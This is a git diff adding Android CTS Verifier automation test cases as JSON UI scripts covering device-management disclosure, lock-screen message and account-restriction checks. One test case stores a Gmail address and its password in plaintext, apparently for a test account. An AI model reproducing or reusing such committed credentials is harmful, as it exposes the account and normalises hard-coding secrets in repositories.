more\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"3b95faec-97c0-4c05-8039-0e21aad842b3\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"e10ec406-a1c4-44d0-afb6-00b6f6898bd5\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":346.3333333333333,\"x2\":35.0,\"y2\":367.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":332.3333333333333,\"x2\":63.0,\"y2\":371.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"firstText\":\"\"},{\"uuid\":\"4c01466a-4742-4465-8bd8-84b90d723fc1\",\"displayText\":\"This device is managed by your organization. Learn more\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"This device is managed by your organization. Learn more\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":332.3333333333333,\"x2\":346.0,\"y2\":391.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":26.0,\"y\":4.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"firstText\":\"This device is managed by your organization. Learn more\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":332.3333333333333,\"x2\":360.0,\"y2\":395.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":178.5,\"y\":358.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":1.5,\"y\":5.833333333333314,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"leafNodeContext\":\"4c01466a-4742-4465-8bd8-84b90d723fc1\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"This device is managed by your organization. Learn more\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":50.0,\"y1\":344.0,\"x2\":307.0,\"y2\":372.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"35f3cedd-a72b-4397-8001-8fe26aac7e44\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that you are told that the device is managed by \\\"Foo, Inc\\\"\",\"actionId\":\"49db6ecf-1ee6-4fae-9bba-2c9b66587db1\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"This device is managed by Foo, Inc.. Learn more\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"ca2610ab-841c-45d0-ad7b-f5df4c217daf\",\"displayText\":\"This device is managed by Foo, Inc.. Learn more\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"aca780cf-d171-4ea5-9e52-9955ea8ae15e\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"a74452b6-2a11-4945-854a-f809713e15da\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":346.3333333333333,\"x2\":35.0,\"y2\":367.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":332.3333333333333,\"x2\":63.0,\"y2\":371.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"firstText\":\"\"},{\"uuid\":\"e898aaac-e399-4e11-9da4-4b28601ab8c6\",\"displayText\":\"This device is managed by Foo, Inc.. Learn more\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"This device is managed by Foo, Inc.. Learn more\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":332.3333333333333,\"x2\":325.0,\"y2\":377.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":35.5,\"y\":2.3333333333333144,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"firstText\":\"This device is managed by Foo, Inc.. Learn more\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":332.3333333333333,\"x2\":360.0,\"y2\":395.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":158.5,\"y\":352.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":21.5,\"y\":11.333333333333314,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"leafNodeContext\":\"e898aaac-e399-4e11-9da4-4b28601ab8c6\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"This device is managed by Foo, Inc.. Learn more\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":62.0,\"y1\":342.0,\"x2\":255.0,\"y2\":363.0}},{\"type\":\"PythonScriptAction\",\"name\":\"Press Learn more link\",\"actionId\":\"69218c7d-918d-46e6-b3ec-28a792c92c7e\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.device import Device\\nimport re\\nd= Device.create_device_by_slot(0)\\n\\ntext=dict(d.text(\\\"This device is managed by Foo, Inc.. Learn more\\\").get_attributes())['bounds']\\nx2=int(re.findall(r'\\\\d+', text)[2])\\ny2=int(re.findall(r'\\\\d+', text)[3])\\nd.click(x2-20, y2-50)\\n\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that a screen informing you what your managing organization can do is shown\",\"actionId\":\"79f09a2f-a286-4029-964c-fc64bd5f6b3d\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"TYPES OF INFORMATION YOUR ORGANIZATION CAN SEE\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"c2257f6d-6077-4c61-93e7-9eb253d51c88\",\"displayText\":\"TYPES OF INFORMATION YOUR ORGANIZATION CAN SEE\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"f0fab44e-dbd1-4a94-937a-509d375abed1\",\"displayText\":\"TYPES OF INFORMATION YOUR ORGANIZATION CAN SEE\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"893fa04e-ac6b-4059-8569-51ffeaaa7508\",\"displayText\":\"TYPES OF INFORMATION YOUR ORGANIZATION CAN SEE\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"TYPES OF INFORMATION YOUR ORGANIZATION CAN SEE\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":21.0,\"y1\":118.33333333333333,\"x2\":346.0,\"y2\":131.33333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"firstText\":\"TYPES OF INFORMATION YOUR ORGANIZATION CAN SEE\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":21.0,\"y1\":111.33333333333333,\"x2\":346.0,\"y2\":138.33333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":16.0,\"y\":3.333333333333343,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"firstText\":\"TYPES OF INFORMATION YOUR ORGANIZATION CAN SEE\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":111.33333333333333,\"x2\":360.0,\"y2\":138.33333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":167.5,\"y\":121.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":12.5,\"y\":3.333333333333343,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"leafNodeContext\":\"f0fab44e-dbd1-4a94-937a-509d375abed1\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"TYPES OF INFORMATION YOUR ORGANIZATION CAN SEE\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":7.0,\"y1\":107.0,\"x2\":328.0,\"y2\":136.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"16a63463-a03a-41bc-b0db-880bf6b5edb1\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"9041f3c8-b93d-4cc6-8db9-2f9c7a06433a\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"03e19599-15d9-4cff-acc4-88b977853f25\",\"db64ba55-882e-4245-b9a7-f556f7b07f9b\",\"7ac9fd8e-5bc6-4eca-ab70-d8ec6f8d4820\",\"3aefa26b-3d3e-4320-b4b0-9569556fd846\",\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\",\"6bc591c0-30a1-41bd-9164-b4ebb6e46c03\",\"35f3cedd-a72b-4397-8001-8fe26aac7e44\",\"91ab1016-e46b-4681-802a-30de34592081\",\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\",\"49db6ecf-1ee6-4fae-9bba-2c9b66587db1\",\"69218c7d-918d-46e6-b3ec-28a792c92c7e\",\"79f09a2f-a286-4029-964c-fc64bd5f6b3d\",\"16a63463-a03a-41bc-b0db-880bf6b5edb1\",\"9041f3c8-b93d-4cc6-8db9-2f9c7a06433a\",\"3aefa26b-3d3e-4320-b4b0-9569556fd846\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"16-17-Add account disclosure","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.196000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/77cd84d9-261a-488e-8fdb-5e3c36852267 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/77cd84d9-261a-488e-8fdb-5e3c36852267
new file mode 100644
index 0000000..9b39960
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/77cd84d9-261a-488e-8fdb-5e3c36852267
@@ -0,0 +1 @@
+{"uuid":"77cd84d9-261a-488e-8fdb-5e3c36852267","details":"{\"type\":\"CompoundAction\",\"name\":\"23-Customize Lock Screen Message\",\"actionId\":\"77cd84d9-261a-488e-8fdb-5e3c36852267\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Customize Lock Screen Message\",\"actionId\":\"6afb21cf-f58f-44b2-b079-e2de052becc0\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Customize Lock Screen Message\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"4e339b85-721f-49c1-b1ea-66710e344e53\",\"displayText\":\"Customize Lock Screen Message\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Customize Lock Screen Message\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":588.0,\"x2\":351.25,\"y2\":630.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":123.0,\"y\":607.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":57.0,\"y\":1.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"4e339b85-721f-49c1-b1ea-66710e344e53\",\"firstText\":\"Customize Lock Screen Message\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Customize Lock Screen Message\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":14.0,\"y1\":601.0,\"x2\":232.0,\"y2\":614.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Customize Lock Screen Message\",\"actionId\":\"8ca2932b-f92c-4b46-80ec-a57acf453c6c\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Customize Lock Screen Message\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/go_button\",\"actionId\":\"a802542a-b2e2-407c-8e25-602e65b31d58\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/go_button\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"3f5b5b18-1bf0-44c2-975c-ca140f0143f6\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"15c06817-82c9-473b-8ffb-7e432f257397\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/lockscreen_message_edit_text\",\"actionId\":\"ec708de3-2b1d-4c7d-b513-7b31f10de089\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/lockscreen_message_edit_text\"},{\"type\":\"InputAction\",\"name\":\"INPUT string \\\"Customize screen lock message test\\\"\",\"actionId\":\"a8683a3f-e93a-485a-a902-ab739984681b\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":0,\"inputString\":\"Customize screen lock message test\",\"isSingleChar\":false},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"db12b609-a0bf-4886-b5ae-65062b3d0645\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/lockscreen_message_set_button\",\"actionId\":\"f4db23d7-d1df-4fc2-8f3d-633d375289e1\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/lockscreen_message_set_button\"},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"6465d8ca-e0af-49a9-984e-5dbfe2e88a1c\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"64c2079c-364b-45d6-b0c3-93132f5d794f\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if the string \\\"Customize screen lock message test\\\" exists\",\"actionId\":\"41790812-13db-410f-9c30-2c0a417b2858\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Customize screen lock message test\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"9d8f10fb-2442-4a3c-ae60-e7ad46216451\",\"displayText\":\"218\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"ce5bbcb4-7265-4591-9f2b-696c9f3cd169\",\"displayText\":\"218\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.systemui:id/default_clock_view\",\"text\":\"218\",\"contentDesc\":\"218\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":5.0,\"y1\":199.75,\"x2\":360.0,\"y2\":266.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-0.5,\"y\":-18.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"218\"}],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"com.android.systemui:id/clock_view\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":5.0,\"y1\":199.75,\"x2\":360.0,\"y2\":266.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":183.0,\"y\":251.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-0.5,\"y\":-18.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"ce5bbcb4-7265-4591-9f2b-696c9f3cd169\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Customize screen lock message test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":35.0,\"y1\":234.0,\"x2\":331.0,\"y2\":268.0}},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/go_button\",\"actionId\":\"c61d50a7-f1a2-4a3f-b25d-1c068fe2787a\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/go_button\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Add text on lock screen\",\"actionId\":\"f759702b-999f-4919-88ec-adc05d561035\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Add text on lock screen\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/go_button\",\"actionId\":\"82a811ab-7488-4239-8c70-cf553e8c8c5e\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/go_button\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"71ffbda6-7620-4eb7-8ca3-24c50238772d\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"34af4cdd-aecf-4125-8be2-d1e456e30dfa\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"c1068330-ea63-4e42-8806-773d1152094f\",\"6afb21cf-f58f-44b2-b079-e2de052becc0\",\"8ca2932b-f92c-4b46-80ec-a57acf453c6c\",\"a802542a-b2e2-407c-8e25-602e65b31d58\",\"1e49e89c-6a23-487a-86d9-a2244d725017\",\"3f5b5b18-1bf0-44c2-975c-ca140f0143f6\",\"15c06817-82c9-473b-8ffb-7e432f257397\",\"ec708de3-2b1d-4c7d-b513-7b31f10de089\",\"a8683a3f-e93a-485a-a902-ab739984681b\",\"db12b609-a0bf-4886-b5ae-65062b3d0645\",\"f4db23d7-d1df-4fc2-8f3d-633d375289e1\",\"6465d8ca-e0af-49a9-984e-5dbfe2e88a1c\",\"64c2079c-364b-45d6-b0c3-93132f5d794f\",\"41790812-13db-410f-9c30-2c0a417b2858\",\"6c314101-5195-49ff-88e9-8f78cc8c697b\",\"c61d50a7-f1a2-4a3f-b25d-1c068fe2787a\",\"860c941f-b0ac-4251-9e2d-78cab6e65c90\",\"f759702b-999f-4919-88ec-adc05d561035\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"5cab765b-34d5-4922-a223-6322eaf241ae\",\"82a811ab-7488-4239-8c70-cf553e8c8c5e\",\"72f62d5f-9a3a-4c4d-813c-96614b1c5845\",\"71ffbda6-7620-4eb7-8ca3-24c50238772d\",\"34af4cdd-aecf-4125-8be2-d1e456e30dfa\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"23-Customize Lock Screen Message","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.212000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/78ad3920-ae49-4f06-b220-781c5b1e53e5 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/78ad3920-ae49-4f06-b220-781c5b1e53e5
new file mode 100644
index 0000000..c2cc145
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/78ad3920-ae49-4f06-b220-781c5b1e53e5
@@ -0,0 +1 @@
+{"uuid":"78ad3920-ae49-4f06-b220-781c5b1e53e5","details":"{\"type\":\"CompoundAction\",\"name\":\"15-13-Disallow modify accounts\",\"actionId\":\"78ad3920-ae49-4f06-b220-781c5b1e53e5\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"InputAction\",\"name\":\"Home Button\",\"actionId\":\"281899f8-3008-44c7-b6e9-b8fb60712c3a\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":3,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Play Store\",\"actionId\":\"845603b9-ccb3-4c8b-9972-89b7d1be8f95\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Play Store\"}],\"childrenIdList\":[\"44291145-6774-4ba3-9caf-731853cef58e\",\"281899f8-3008-44c7-b6e9-b8fb60712c3a\",\"845603b9-ccb3-4c8b-9972-89b7d1be8f95\",\"23c5fa74-3416-4a41-84a9-3f348940a081\",\"d725d8a2-cb38-4a29-9857-a510943cf7fd\",\"0c73b50f-d48d-4082-a091-3d4f55f77369\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"$uicd_Gmail_account=playinstallapk02@gmail.com,\\n$uicd_Gmail_account_password=@DoubleCare20,\"}}","name":"15-13-Disallow modify accounts","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.136000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/78f39e06-715e-4c47-a787-b2802a1a12ab b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/78f39e06-715e-4c47-a787-b2802a1a12ab
new file mode 100644
index 0000000..c21b931
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/78f39e06-715e-4c47-a787-b2802a1a12ab
@@ -0,0 +1 @@
